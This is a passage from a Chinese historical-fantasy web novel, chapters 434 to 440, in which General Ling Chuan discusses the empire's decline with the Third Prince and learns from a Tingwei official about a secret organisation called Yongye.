然而,他话锋一转,目光变得更加炽热与崇敬:“但,相比起这些安邦定国的实绩,将军您的那篇《水舟论》,以及那振聋发聩的《乾坤四训》,更是字字千钧,直指治国安民之本源!其立意高远,忧国忧民之心,堪比古之圣贤!此等言论,足以影响千秋万世,足以名垂青史!” 凌川听闻此言,眉头不由得紧紧皱起,沉声问道:“殿下是如何得知此二事?” 他记得非常清楚,《水舟论》他只在与云州别驾方既白密谈时提及过,而所谓的《乾坤四训》,定然是他在幽州官道旁茶摊上,说与那岐山书生的‘横渠四句’。 然而,远在千里之外的神都,深居宫阙之中的三皇子,竟对此了如指掌,这不得不让凌川怀疑,自己身边是否早已被安插了眼线,一言一行,皆在他人监视之下。 面对凌川的警惕与质问,三皇子却只是微微一笑。 只见他神色坦然解释道:“将军有所不知,您的那篇《水舟论》与《乾坤四训》,如今早已在神都的士林学子、乃至部分官员之间悄然传遍了!并非周灏有意探查,实是将军高论,已然不胫而走!” 紧接着,三皇子解释道:“半月之前,幽州一处绝壁之上,有世外高人将这乾坤四训刻于其上,引得无数人围观,无数文人墨客争相询问,后才得知是出自将军之口!” 凌川闻言,不由得苦笑,当时,自己不过是随口一说,谁知云书阑竟然将其大肆刻在了峭壁之上。 紧接着,凌川笑问道:“殿下从神都来到这望云关,更是深夜来访,应该不仅仅是为了拍末将的马屁而来吧?” “方才过于激动,将军勿怪!”三皇子笑了笑说道。 只见他倒了一杯茶润了润嗓子,随后看向凌川,说道:“我今日前来,是想问将军一个问题!” “殿下客气了,有什么问题只管问,末将知无不言!”凌川当即表态。 只见三皇子缓缓起身,一脸严肃地问道:“敢问将军,我大周帝国真的气数已尽了吗?” 听闻此言,凌川神色巨变,连忙问道:“殿下为何如此发问?” 第一卷 第435章 敢问将军,帝国可还有救? “敢问将军,帝国真的气数将尽,彻底没救了吗?” 三皇子这句话问得极轻,却如一记重锤,敲在寂静的夜空中。 案头那盏油灯的火焰应声猛地一跳,光影剧烈晃动,将两人的影子在墙壁上拉扯得扭曲不定,凌川瞳孔骤然收缩,背脊瞬间沁出一层冷汗。 此等诛心之论,若是传扬出去,莫说他一个边将,便是皇子之尊,也难逃罪责。 “殿下慎言!”凌川声音沉肃,带着不容错辨的警示,“末将一介莽夫,只知奉命守土,不懂朝政经纬,更不敢妄议国运!此等话语,还请殿下万万不要再提!” “将军不必如此谨慎!”三皇子迎着他警惕的目光,神色是前所未有的坦诚与决绝,“我知将军心如明镜,洞若观火。今夜并非试探,而是我周灏摒除所有身份,以一颗求解惑、求存亡的赤诚之心,向将军请教!我在此立誓……” 他举起右手,神色庄重,“你我今夜所言,出得你口,入得我耳,绝不会有第三人所知,天地共鉴!” 凌川心中暗叹,知道今夜已无法回避这个致命的问题。 他沉吟片刻,反而抬起眼,目光如炬地反问:“既然如此,末将也想先问殿下,依您之见,大周国祚,尚余几载春秋?” 三皇子周灏的眼神如同案上那摇曳不定的灯焰,充满了迷茫与痛苦。 他沉默良久,才缓缓开口,声音带着压抑的悲凉:“如今朝堂之上,权臣把持朝纲,结党营私;各地节度使拥兵自重,渐成尾大不掉之势;地方门阀强取豪夺;世家大族更是贪婪无度,只顾盘剥百姓以自肥,不断敲骨吸髓,损耗国本!莫说边塞苦寒之地民生多艰,便是素称鱼米之乡的江南,流民数量也在连年递增!可那一封封呈递御前的奏疏,写的尽是风调雨顺、国泰民安!那些衮衮诸公,一边吃着民脂民膏做成的人血馒头,一边自欺欺人地粉饰这太平假象!” 他的情绪愈发激动,带着游历四方后沉淀下的沉重:“我这些年借游学之名,亲眼所见,却是匪患四起,天灾不断,道路旁常见饿殍,乡野间一片凋敝!百姓面朝黄土背朝天,辛勤劳作一年,竟连果腹都成奢望!无数人被抢走了土地,只能卖身于豪强世家为奴为婢,仅仅是为了……活下去!” 说到这里,三皇子声音哽咽,眼中不仅有深切的悲悯,更有对这沉疴积弊的强烈愤恨。 “前不久,定州安王作乱,虽赖将军神威得以平定,然此例一开,野心之辈难免效仿。一旦中原腹地烽烟四起,陷入内乱,周边那些虎视眈眈的外贼,必将群起而攻,将这早已元气大伤、奄奄一息的帝国……分而食之!” 他猛地抬起头,目光灼灼地看向凌川,那眼神里带着一种近乎绝望的恳求:“故而,周灏斗胆,再次恳问将军,请您以实言相告;大周,到底还有救吗?哪怕只有一线生机?” 凌川一直静静地听着,仔细观察着三皇子的每一丝神情变化。 他可以确信,这位年轻皇子此刻流露出的痛心与焦虑,绝非矫饰,而是发自肺腑的忧国忧民。 屋内陷入了短暂的沉寂,只有灯花偶尔爆开的轻微噼啪声。 良久,凌川才缓缓开口,他的声音不高,却带着一种穿透人心的力量:“殿下既然垂询,末将也不敢再虚言推诿,但在回答之前,末将需再问殿下一个问题!” 他目光如鹰隼般锁定三皇子,一字一句地问道:“在殿下看来,亡国与灭种,二者孰轻孰重?” “自然是后者!”三皇子斩钉截铁答道,眼中闪过一丝锐芒。 “王朝更迭不过是一家一姓之兴衰,纵然山河破碎,只要文明根脉尚存,百姓犹能重建家园。可若异族铁蹄踏破国门,他们要的不只是龙椅,更是要断绝我整个中原民族,焚毁典籍,奴役子孙,让中原血脉永世不得翻身——那才是真正的浩劫,比亡国惨烈千百倍!” 凌川郑重点头,目光中流露出深切的赞许:“殿下能有此见地,实乃天下苍生之幸!” 三皇子却轻轻摇头:“非我之见!这些道理,皆是反复研读将军的《水舟论》,又细究了将军对‘修身齐家治国平天下’的独到阐释后,方才悟得。” 凌川深吸一口气,神色变得无比郑重:“既然殿下今夜推心置腹,凌川也愿冒天下之大不韪,直言心中所想!” 三皇子立刻正襟危坐,凝神屏息。 “王朝更迭,乃天道循环,非人力可阻。诚如殿下所言,不过是一家一姓之兴替。皇权固然诱人,但相较于文明断绝、血脉消亡的灭种之祸,实在轻若鸿毛!” 他话锋一转,语气沉痛:“然则,纵观史册,每一次鼎革的背后,皆是山河破碎,白骨露野。表面上是一家一姓的败亡,真正承受这无尽苦难的,终究是亿万黎民!” 凌川顿了顿,眼中锐光一闪:“如今的大周,确已病入膏肓。沉疴需用猛药,腐肉当以快刀剜除!” 三皇子面露忧色:“将军所言,我亦深思。然若效仿将军在云州之举,以快刀斩尽门阀,恐将动摇国本。更甚者,以眼下时局观之,这柄刀只怕尚未挥出,便已先伤了自己!” 凌川唇角泛起一丝苦涩的笑意:“这些,真要做起来,自然不像我空口白牙说话这么简单。首要之务是,得有一把足够锋利,而且,能够牢牢将刀柄握在自己手里的刀!” 此言一出,三皇子陷入沉思。 一把足够锋利的刀……一双能牢牢握住刀柄、不被其所伤的手。 他的目光不自觉地再次投向凌川,嘴唇微动,似乎想说什么,最终却化作一声无声的叹息,未能出口。 凌川洞若观火,似乎看穿了他心中所想,不过,他也没有主动开口。 许久之后,三皇子像是鼓足了勇气,用恳求的目光看向凌川,问道: “恳请将军,救救大周,救救天下百姓!” 第一卷 第436章 我守的是民族与百姓 夜色深沉,屋内的空气仿佛凝固。 凌川的目光如实质般落在三皇子身上,那灼灼的眼神竟让这位惯于在权力漩涡中周旋的皇子,第一次感到了发自心底的怵然。 无形的压力在狭小的空间里弥漫,连案头的烛火都似乎黯淡了几分。 “殿下……”良久,凌川终于开口,声音平静得可怕,“你可知我凌川的妻子,是何人?” 三皇子喉结微动,谨慎答道:“我知道,是前南系军主帅,苏大将军的爱女,苏璃小姐!” 凌川的声音陡然转冷,带着不容回避的质问,“既然知道,我那岳父大人为何而死,想必殿下也心知肚明吧?” “我……”三皇子语塞,袖中的手指不自觉地收紧。 他岂会不知,那桩震惊朝野大案,虽然已经过去了一年,至今仍是朝中不能言说的禁忌。 “殿下,既然话已至此,我不妨直言!我凌川之所以还带着弟兄们在边关餐风饮雪、镇守国门,守的从来不是你们周家的皇位,而是这片土地上民族的传承,是千万百姓的家园!”他的声音铿锵如铁,每一个字都像是敲在三皇子的心上。 “将军,苏大将军一案,本皇子略知一二,其中或有隐情!”三皇子试图解释,语气中带着几分急切,“父皇当初的本意,或许只是想让苏将军交出兵权,解甲归田,并未想过……” 不等他说完,凌川直接将其打断,眼神锐利如刀,“我不在乎这其中有多少见不得光的交易,也不想知道他与谁达成了什么协议。但苏家被抄家灭门,这是不争的事实,难道说,是有人胆大包天,敢伪造圣旨不成?” 这一连串的质问,让三皇子彻底哑口无言。 他清楚地知道,凌川所说的每一个字都是事实。 刹那间,一个可怕的念头在他脑海中闪过——凌川要反! 但转念一想,如今的大周早已千疮百孔,连自己的皇叔都在定州起兵造反,又凭什么要求一个与皇家有血海深仇的外姓将领忠心耿耿? 回望史册,即便是本朝,为了那张龙椅,兄弟相残、父子相杀的惨剧还少吗? 凌川似乎看透了他的心思,唇角勾起一抹淡薄的笑意:“殿下多虑了!我凌川对那皇位,没兴趣!” 不知为何,听到这句话,三皇子紧绷的心弦竟莫名一松。 尽管凌川只是一个五品将军,按理说对皇权构不成什么威胁,但他却隐隐觉得,此人若真有异心,将比朝堂上那些老谋深算的权臣和手握重兵的大将军更加可怕。 他并非没想过凌川可能在说谎。 但联想到方才那番‘大逆不道’的言论,以凌川的性子,似乎也不屑于编造一番谎言来欺骗自己。 就在这时,凌川的声音再次响起,打破了短暂的沉寂:“殿下可以替我带句话给陛下!若是为了天下苍生,我凌川愿意做那把剜除腐肉的快刀!但若是想用我来巩固周家的皇权、清除异己……”他顿了顿,目光如寒冰般冷冽,“那我这把刀,可就没那么好掌握了!” 这句话,既是表明态度,同样也带着一丝丝的警示。 三皇子郑重颔首:“将军放心,本皇子一定把话带到!”说完,他对着凌川深深一礼,转身便准备离开。 尽管今夜未能得到预期的结果,却丝毫不影响他对凌川的钦佩。 “殿下留步!”凌川忽然叫住了他。 三皇子转身:“将军还有何吩咐?” 凌川的唇角勾起一抹若有似无的笑意,那笑容里藏着让人捉摸不透的深意:“末将也想问一句,假如有一天,殿下坐上那九五至尊之位,执掌天下权柄,是否愿意用手中的无上权力,去换取天下太平、国泰民安?” 三皇子眼中闪过一丝惊骇,连忙道:“将军说笑了……想必您也知道,我并不受父皇宠爱。尽管父皇尚未立储,但无论大皇兄还是二皇兄入主东宫,都注定与我无关。我甚至……都不在备选之列。” 凌川脸上的笑意未减:“方才说了,这只是个假设!” 三皇子不着痕迹地深吸一口气,眼底渐渐浮现出复杂之色。 他迎上凌川审视的目光,一字一句道:“如果真能让天下太平,百姓安居乐业,别说是区区皇位,就算是让我以性命为代价,我也在所不惜!” 凌川深深地看着他,良久才点了点头:“不管殿下这番话是发自肺腑,还是敷衍应付,我凌川都记下了!” 三皇子不再多言,拿起桌上的头盔,一丝不苟地系好颔下的丝绦,随后推门而出,身影很快融入了沉沉的夜色中。 他并未返回自己的营帐,而是径直走向马厩。 那里,一支百人的禁军精锐早已整装待发,见三皇子到来,众人只是沉默地行礼,无人发声。 三皇子利落地翻身上马,轻抖缰绳,整支队伍如同暗夜中的幽灵,悄无声息地离开了望云关,沿着官道向神都方向疾驰而去。 月光如水,洒在蜿蜒的官道上,映出一道道飞驰的白影。 队伍中的三皇子面沉如水,眼神在月色下显得格外冷漠而坚韧,他一言不发,脑海中反复回响着方才与凌川的每一句对话。 自从踏出那间房门开始,一个他以往连想都不敢想的念头,已然在心底悄然萌芽,并且正在以惊人的速度生根、生长。 夜风扑面,带着几分凛冽,却吹不散他心中翻涌的波澜。 前路漫漫,但有些东西,似乎已经不一样了。 凌川并未入睡,而是盘坐于床榻之上,凝神运转体内真气疗愈伤势。 真气如暖流,沿着经脉缓缓游走,所过之处,那剧烈的疼痛便似被熨帖抚平,带来阵阵舒缓和生机,不知过了多久,他缓缓睁开双眼,发现窗外天色已透出朦胧的微光。 他尝试着活动了一下筋骨,惊喜地发现胸腹间的伤口痛楚已大为减轻,索性掀被下床,穿好靴子,试探着走了几步。腿上的箭伤依旧传来阵阵刺痛,但已勉强能够支撑他独立行走。 凌川先是去了一趟茅房,随后便在营区中缓步而行,活动僵硬的四肢,恰好遇到正带队巡值的苍蝇。 第一卷 第437章 杀人诛心 “将军!您伤得这么重,怎么这就下地了?”苍蝇一见凌川,脸上立刻写满担忧,快步上前想要搀扶。 凌川摆了摆手,脸上露出一丝轻松的笑意:“伤已经好多了,再躺下去怕是屁股都要生疮了!” 他向苍蝇询问了一下队伍的情况,得知大家都安好后,便放下心来,让他带自己去见杨铁匠。 两日前,杨铁匠于众目睽睽之下悍然出手,仅一招便重创了来自白鹤梁的宗师梁桂章,那一剑堪称惊世骇俗,如今,整个望云关的士兵都在讨论这位神一般的存在。 凌川来到院门前,正欲抬手敲门,却发现那木门只是虚掩着,并未落锁。 他轻轻推开房门,只见杨铁匠正静坐于院中石凳上,双目微阖,似在打坐调息,凌川没有出声打扰,放轻脚步,走到不远处另一张石凳旁,悄无声息地坐下。 “有屁就放!” 凌川的屁股刚挨着石凳,杨铁匠那略带沙哑的声音便懒洋洋地传了过来,眼睛却依旧闭着。 “嘿嘿,没事,就是过来看看您老人家!”凌川咧嘴一笑,浑不在意对方的态度。 “是来看老夫咽气了没有吧?”杨铁匠终于抬起眼皮,浑浊的老眼斜睨着他。 “您可少来这套!”凌川语气带着毫不掩饰的鄙夷,“上次跟我说,为了杀蛇王那一剑,几乎掏空了身子,需要静养。结果呢?反手就一招就把一位宗师境高手打得半死不活。我信了你个鬼!你个糟老头子,坏得很!” 杨铁匠闻言,只是嘴角扯动了一下,露出一个似笑非笑的表情,并未接话。 凌川却凑近了些,脸上满是好奇与探究:“杨老头,你老实交代,那天对梁桂章,是不是手下留情了?” 杨铁匠白了他一眼,没好气地道:“你小子真以为宗师是路边的阿猫阿狗,说杀就能随手宰了?” 凌川回想起当日那石破天惊的一剑,剑气冲霄,仿佛真要将天穹都捅个窟窿,不由说道:“就您当日施展的那一剑,风云变色,凌厉无匹,这世间有几人能接得住?” 杨老头闻言,脸上却浮现出一抹不屑的嗤笑,摇了摇头:“小子,在别的方面老夫不敢妄言,但在这武道一途,你见识过的,不过是井口那片天!” 凌川并未反驳,只是静静地看着他,等待下文。 杨铁匠习惯性地伸手去摸腰间的酒葫芦,摸索了几下却抓了个空,他扭头一看,发现那朱红色的葫芦不知何时已到了凌川手里。 凌川这次并未像往常那样扯开塞子就往嘴里灌,一方面是自己有伤在身不宜饮酒,另一方面,他敏锐地注意到,葫芦口的软木塞上,竟沾染着几点已经干涸发暗的血迹。 “喏,给你!”凌川顺手将酒葫芦抛了过去。 杨铁匠接过葫芦,拔开塞子,仰头便猛灌了一大口,随即长舒一口气,这才慢悠悠地说道:“小子,这偌大的江湖,水深着呢,远比你看到的、想到的要复杂得多。藏龙卧虎之辈,不知凡几。” “可即便江湖如此广阔,明面上的宗师境高手,满打满算也不过十多位。那梁桂章,走的虽非正道,投机取巧,但怎么说也是踏入了宗师门槛。老夫那一剑,虽重创其根基,但想当场取他性命,却也非易事!”杨铁匠语气平淡,仿佛在说一件微不足道的小事。 凌川剑眉微挑,捕捉到他话中的关键:“难不成武道一途,还真有捷径可走?” “你最好别动这种歪心思!”杨铁匠神色一肃,警告道,“这世间确实存在不少邪门歪道,能让人在短时间内实力暴涨。但那无异于饮鸩止渴,彻底断绝自身未来的武道前程。就拿那梁桂章来说,他便是凭借邪法强行跨入宗师境,其实力相比那些凭借自身积累、一步步稳固踏入此境的宗师,差了何止一截?而且,老夫那一剑虽未取他性命,却已震碎了他的宗师根基,将他生生打落了境界。他这一生……都休想再触摸到宗师的门槛了!” 凌川听闻,心中不由大为震动。 他严重怀疑,这杨老头绝对是故意的,并非不能杀,而是偏不杀,只是打落对方最引以为傲的宗师境界,让他一生都活在痛苦中挣扎。 此番做法,堪称是杀人诛心。 二人又闲聊了片刻,凌川忽然想起一事,凑近问道:“杨老头,有件事我很好奇,之前你死活不愿跟着来神都,百般推脱,难不成真被我不幸言中,神都有你欠下的风流债?” 此言一出,凌川明显感觉到,杨铁匠那平日里总是无精打采、昏昏欲睡的眼神中,骤然闪过一道极其复杂难明的异彩。 那眼神中,交织着深沉的怀念、一丝若有若无的甜蜜、难以化开的愧疚,甚至还夹杂着些许不易察觉的紧张…… 这复杂的神情,是凌川以往从未在他身上见到过的,凌川不由心中嘀咕:难道真被自己随口说中了? “十六年了啊……也该去看看她了!”杨铁匠望着远处天际泛起的鱼肚白,长长叹息一声,声音低沉得近乎呢喃。 “我去!杨老头,你在神都还真有位老相好?”凌川顿时瞪大双眼,八卦之魂熊熊燃烧,正要继续追问细节。 杨铁匠却猛地回过神来,狠狠瞪了他一眼,没好气地打断:“大人的事,你个小屁孩,少打听!” 当日下午,雍州主将赵擎率领一队亲兵,抵达望云关,正式接管此地防务。 这位赵擎将军年近五十,身形算不得多么魁梧雄壮,但站在那里,便自然有一股沉稳如山、不怒自威的气场。 尤其那双眼睛,锐利如鹰隼,目光扫视间,带着久经沙场淬炼出的凛然杀气,仅仅是这第一眼,凌川便可断定,此人绝对是真正历经过战火和鲜血洗礼的宿将。 随后,他从蓝少堂口中得知,赵擎曾驻守帝国西疆边关十余载,历经大小恶战无数,是三年前才被调回内地,出任雍州主将一职。 赵擎抵达当日,便在将军府设下宴席,所请之人不多,仅有蓝少堂、秦淮江与凌川三位。 第一卷 第438章 昼归皇权,夜属永夜 “赵某识人不明,御下无方,以致关隘生变,险酿大祸,实在愧对陛下圣恩,亦愧对诸位!”赵擎双手端起酒杯,霍然起身,眉宇间凝着一股挥之不去的沉郁与自责。 他目光扫过在场三人,最终落在凌川身上,声音沉重:“此番虽未酿成无可挽回之后果,却也给诸位平添诸多凶险与麻烦,赵某在此,以酒赔罪!” 说罢,他举杯一饮而尽,凌川见状,也连忙端起自己面前的酒杯,正待一同饮尽,赵擎却伸出手,轻轻按在了他的手臂。 “凌将军身上带伤,不宜多饮!”赵擎的语气不容置疑,带着军人特有的直率与关切,“心意到了即可,浅酌一口,赵某便领情了!” 凌川见对方满脸真诚,微笑道:“多谢赵将军体谅!” 他依言只饮了一小口,便放下了酒杯,这点酒对他而言本不算什么,但对方既已出言关怀,自己若执意满饮,反倒显得不近人情,徒惹尴尬。 随后,赵擎详细问及当日望云关变故的细节,凌川未曾隐瞒,整个经过一一据实相告。 蓝少堂与秦淮江静坐一旁,默默聆听,并未插言。 随着凌川的叙述,赵擎的脸色愈发阴沉,听到关键处,他额角青筋微微跳动,紧握的拳头上骨节已然发白。 “砰!” 一声闷响,赵擎的拳头重重砸在坚实的木桌上,震得杯盘碗碟一阵乱响,汤汁微漾。 “真是混账东西!”他低吼一声,怒意勃发。 此前,他因萧卫蘅身为内阁首辅乘龙快婿的身份,以及其曾出身禁军的履历,对其信任有加,从未有过半分疑心。 将望云关这等咽喉要地交予其手,自认为是万无一失,岂料正是这份过于的信任与疏忽,险些铸成塌天大祸。 他深吸一口气,强压下翻腾的怒火,转身重重拍了拍凌川未受伤的肩头,承诺道:“凌将军放心!此事,赵某定会追查到底,无论如何,必给你,也给朝廷一个交代!” “将军言重了!”凌川看了一眼坐在对面的秦淮江,说道,“如今秦都统已然介入调查,相信以廷尉府之能,很快便会水落石出。” 然而,一直沉默的秦淮江此刻却缓缓摇头,面色凝重地说道:“廷尉府已动用了雍州境内所有明暗人手,神都方面亦同步策应,撒下大网。然而,至今仍未发现萧卫蘅的任何有效踪迹!” 他放下酒杯,目光扫过在场几人:“也正是因如此,我等才一直未曾急于收网。毕竟,抓住些小喽啰,于事无补,反而可能打草惊蛇。” 秦淮江这番话,让房间内的气氛瞬间变得更加沉重。 连廷尉府都未能捕捉到萧卫蘅的蛛丝马迹,此事之诡异,远超寻常,背后隐藏的势力与谋划,令人思之不寒而栗。 酒过三巡,三人见天色已晚,加之赵擎军务繁忙,便起身告辞,毕竟,明日他们便要起程前往神都。 就在凌川即将走出院门时,身后传来秦淮江平静无波的声音:“凌将军,去我那儿坐坐?” 凌川脚步一顿,心中微凛。 被廷尉府都统单独邀谈,恐怕任谁都无法等闲视之,他略微犹豫了一瞬,旋即点头应道:“好!” 来到秦淮江临时的居所,屋内陈设极为简单。 然而,即便是这暂住几日的房间,其内每一件物品的摆放都一丝不苟,井然有序到了近乎苛刻的地步,无声地彰显着主人严谨乃至刻板的性格。 “坐!”秦淮江伸手指了指身旁的一张靠背椅。 凌川依言坐下,屁股刚挨着椅面,秦淮江平淡无波的声音便已传来,如同在陈述一件寻常公务: “你对于血衣堂,了解多少?” 此言一出,凌川的心脏猛地一缩,仿佛被一只无形的手紧紧攥住。 他倏然抬起目光,对上秦淮江那双深不见底的眼眸,平静回答道:“此前,末将以为自己略知一二。如今看来,所知不过皮毛,甚至……一无所知!” 秦淮江的嘴角难得露出一抹笑意,说道:“那就让我来告诉你,血衣堂的真面目吧!” 凌川屏住了呼吸,直觉告诉他,接下来将要听到的信息将十分惊人。 秦淮江的语气依旧平稳,不带丝毫波澜,仿佛在诵读一卷与他毫不相干的陈旧案牍: “陛下登基那日,天地同钦,百官朝贺。当内侍恭敬捧上盛放传国玉玺的宝盒,陛下亲手开启……玉玺安然在内,但其下,却压着一块明黄色的锦缎。” 他微微停顿,目光似乎穿透了时空,回到了那庄严肃穆而又暗流汹涌的大典现场。 “锦缎之上,以殷红的鲜血,写着一行触目惊心的血字——昼归皇权,夜属永夜!” 凌川闻言,瞬间倒吸一口凉气,一股寒意沿着脊椎直冲头顶。 在帝王登基大典上,于象征至高皇权的玉玺盒中,留下如此狂妄悖逆之言,这已非简单的挑衅,而是对整个皇权、对当今天子赤裸裸的蔑视与宣战! 秦淮江的叙述仍在继续,语调依旧不疾不徐: “如此大不敬之举,自然要彻查到底!禁军、廷尉府、通天卫……所有能动用的力量悉数出动,几乎将当日参与大典、能接触到宝盒的人员翻查了底朝天。然而,最终竟一无所获,连半点有价值的线索都未能抓住。” “陛下龙颜震怒,给廷尉府下了死命令,不惜一切代价,必须查清此事,揪出幕后黑手!” “而这一查,才发现事情远比想象中更为诡谲复杂……”秦淮江的眼神变得幽深,“通天卫从一位年事已高、历经三朝的老太监口中,得知了一个令人毛骨悚然的秘闻——当年先帝登基之时,同样的事情,也曾发生过!那老太监当时就在现场,亲眼所见,那锦缎上的字迹,血迹殷红,仿佛刚刚写下,尚未完全干涸!” “先帝当时亦惊怒交加,但他选择了隐而不发,将此事强行压下,只在暗中秘密调查。虽也查到一些蛛丝马迹,可每每接近核心,线索便会诡异地中断,仿佛冥冥之中有一股无形的力量,在精准地抹去一切痕迹!” 第一卷 第439章 夜天子 “这还不止!”秦淮江的声音压低了几分,带着一种引人入胜的诡秘感,“通天卫后来从一卷尘封已久的皇室密档中,找到了更为惊人的记载,近三代帝王,于登基大典当日,皆遭遇过此等完全相同的贺礼!” 听到此处,凌川只觉后背已被冷汗浸湿。 皇宫大内,戒备何等森严,登基大典,又是何等庄重机密,要在众目睽睽之下,于象征着皇权正统的玉玺盒内动手脚,其难度堪比登天! 然而,非但有人能做到,而且还不止一次,而是历代如此,这已超出了寻常阴谋的范畴,透着一种令人窒息的诡异与强大。 秦淮江无视凌川眼中的震惊,继续用那平铺直叙,却字字千钧的语调说道: “这些年来,陛下对此事始终如芒在背,时常因此寝食难安,廷尉府与通天卫,也从未停止过追查!” “然而,即便是号称‘无所不察,无孔不入’的通天卫,在此事上也屡屡受挫,进展甚微。廷尉府更是如同撞上一堵无形的墙,难有寸进。有一段时间,甚至连我们自己内部,都不禁开始怀疑,这背后是否真有鬼神之力在操控!” “转机,出现在十年前!”秦淮江的目光骤然锐利起来,“在一次针对血衣堂的围剿行动中,我们终于抓住了关键线索,得以确认长久以来的猜想,这一切的背后,确实存在着一个庞大、隐秘且组织极其严密的势力!” 他直视凌川的双眼,一字一顿地吐出那个令人心悸的名字: “这个组织,名为永夜!其最高首领,自称夜天子!” “而近百年来在江湖上频繁活动的血衣堂,不过永夜之下的诸多堂口之一!” “这些年来,廷尉府并非没有抓捕过血衣堂的高层人物。但诡异的是,即便位份不低,他们对于永夜的核心秘密,所知亦是寥寥。这个永夜,就仿佛一个只有影子,却没有实体的幽灵!” 听完这些,凌川的后心不知不觉已渗出细密的冷汗。 ‘永夜’二字,如同淬了冰的针,深深扎进心底,寒意随之蔓延开来。 秦淮江依然是那副古井无波的神情,仿佛刚才讲述的并非足以颠覆认知的秘辛,而只是一份寻常的案卷摘要。 “廷尉府将近百年来所有记录在册的大案、要案进行归纳、比对,发现其中相当一部分,无论线索指向、关键人物动向,还是最终结果,都存在一些难以自圆其说、逻辑无法贯通之处!”他语调平稳,却字字沉重,“仿佛始终有一股无形的力量,在背后兴风作浪!” 凌川暗自凛然,永夜的触手必然早已深入皇宫内部,否则,绝无可能连续四代帝王,皆在登基大典那般戒备森严的时刻,于玉玺盒中留下那等同于挑衅的印记。 “恐怕不止是皇宫!”凌川提出一个更大胆的猜测,声音不自觉地压低,“就连廷尉府、通天卫这等专司稽查、护卫的机要核心,也难保没有他们的爪牙!” 秦淮江对此并未否认,只是微微颔首,眼中掠过一丝极淡的疲惫与无奈。 “永夜便如同真正的暗夜本身,无处不在,你能感受到它的存在,感受到那无孔不入的压力,可当你真正想要探寻其源头、捕捉其形迹时,它又缥缈无踪,仿佛只是月光投下的幻影!” 忽然,凌川眉峰一挑,目光锐利地看向秦淮江:“秦大人铺垫了这许多,绕了如此大一个圈子,最终想告诉我的,莫非是我岳父苏大将军的案子,背后亦有这永夜在推波助澜?” 秦淮江眼中闪过一丝难以察觉的诧异,似乎没料到凌川的思维如此敏锐,直接点破了他层层递进背后的真实意图。 他沉默一瞬,随即缓缓点头,语气更加肯定:“或许,不仅仅是推波助澜,根据一些尚未完全证实的线索推断,苏大将军的案子,极有可能,本就是他们精心策划的棋局之一!” 凌川闻言,嘴角勾起一抹冷峭的弧度:“大人为了说服末将,还真是煞费苦心,编织了如此惊心动魄的一个故事!” 然而,秦淮江却缓缓摇头,神色是前所未有的肃穆:“凌川,廷尉府直属天子,只忠诚于陛下一人。若本官有半分怀疑你心存异志,对陛下、对朝廷有丝毫不忠之心,此刻你多半是在廷尉府的大牢跟我对话,或者,你早已是一具尸体!” 他的眼神平静无波,却带着一种金属般的冰冷质感,让人毫不怀疑其话语的真实性与决绝。 秦淮江顿了顿,目光如实质般落在凌川脸上:“你我虽是初次见面,但廷尉府的案牍库中,关于你的卷宗记录,垒起来已足有一尺之高。我知道,你是个聪明人,懂得权衡,更懂得何为大局。正因如此,我今日才会破例,与你说这许多。” “永夜,绝非本官凭空杜撰之物,信与不信,你自己衡量!”秦淮江最后一句,几乎是钉入了凌川的耳中。 回到临时住处,凌川发现苏璃正点灯等候。 他心中翻涌着关于永夜的惊涛骇浪,权衡一番之后,最终选择暂不将此事告知苏璃。 一来,此事真伪难辨,贸然说出徒增恐慌;二来,若永夜当真存在,其势力之庞大、根基之深远,已到了骇人听闻的地步,他更不愿将苏璃卷入这深不见底的漩涡之中。 第二日,队伍用罢早饭,便自望云关开拔,正式踏上前赴神都的官道。 望云关距神都尚有五百里路程,但有蓝少堂及其麾下两千精锐禁军沿途护卫,凌川的安全自是无需担忧,不过,昨晚从秦淮江口中得知了那个强大到令人心悸的永夜之后,他依旧不敢有丝毫掉以轻心。 秦淮江与一众廷尉府成员亦与他们一同起程,只是方向不同,他们是转道前往雍州,继续追查萧卫蘅一案。 凌川伤势未痊愈,大部分时间仍需乘坐马车,苏璃便在车内悉心照料。 马车辘辘,窗外的景物缓缓倒退,凌川的心绪却早已飞向了那座波谲云诡的神都城。 第一卷 第440章 神都书院 三日之后,队伍进入洛州地界。 凌川的伤势也已好了七八分,连日来不是躺着便是窝在车厢里,早已憋闷难耐,如今总算可以重新骑乘马匹,感受风拂过面颊的自由。 此番他骑的是性格更为温顺的照雪,它步履轻健,不似黑风那般烈性,动辄便要肆意狂奔,全然不顾主人是否吃得消。 “将军,照眼下这个速度,最多五日,我们便可抵达神都!”洛青云策马靠近,低声禀报。 这几日的行程,蓝少堂早已将沿途食宿安排得妥帖周到,根本无需凌川这边费心。 凌川点了点头,忽然问道:“你对书院了解多少?” “书院?”洛青云微微一怔,略显意外,“将军为何突然问起书院?” 凌川淡淡一笑,随意道:“没什么,路途漫长,闲来无事,随口问问!” “属下对书院这等圣地了解实在不多!”洛青云老实回答,“仅是多年前,陛下亲赴书院与院长大人商议要事时,曾作为护卫随蓝统领一起,进去过两次而已!” 凌川眉头微皱,诧异道:“陛下……亲自去书院找院长?” 洛青云郑重颔首:“院长大人乃当世神人,学究天人!世间流传,他对天下之事无所不知,无所不精。甚至……甚至有传言说,他能窥探天机,预知未来之事。” 对此,凌川心中自是存疑。拥有超越此世认知的他,比任何人都清楚,所谓的“预知未来”是多么虚无缥缈。 “而且,”洛青云继续道,语气中带着由衷的敬仰,“这位院长大人,还是陛下昔年的授业老师。以往每逢宫中重大典礼或庆典,陛下都会亲自前往书院,恭请院长大人参加。除了在正式朝会议政之时,院长大人历来是与陛下平起平坐的。” 紧接着,他又补充了一个关键信息:“即便是诗书传家数百年的青州叶氏,也会将族中每一代最杰出的子弟送入书院求学。书院曾是天下寒门学子鲤鱼跃龙门的唯一希望所在。然而,自五年前,院长大人忽然宣布,自封于书院后山的藏书塔内,不再过问世事。除了每日负责为他送饭的三皇子殿下外,再无人得见其真容。即便是陛下,数次亲临求见,亦未能如愿。” 听到这里,凌川眼中再度闪过一丝难以捉摸的异色,追问道:“三皇子是院长的入室弟子?” 洛青云摇了摇头:“院长大人有教无类,一视同仁。无论皇家贵胄,还是寒门布衣,一旦踏入书院之门,便皆为学子,听他一同开堂讲授,并无特殊。” 听到这里,凌川心中也不由得对这位特立独行的院长升起了强烈的好奇。在这个等级森严的时代,能秉持如此理念并身体力行之人,绝非寻常之辈。 凌川侧过头,目光落在身旁闭目养神的杨铁匠身上,带着几分好奇问道:“杨老头,神都书院的院长大人,你可有所了解?” 杨铁匠缓缓睁开那双看似浑浊的老眼,眸底深处闪过一丝极难察觉的异彩。 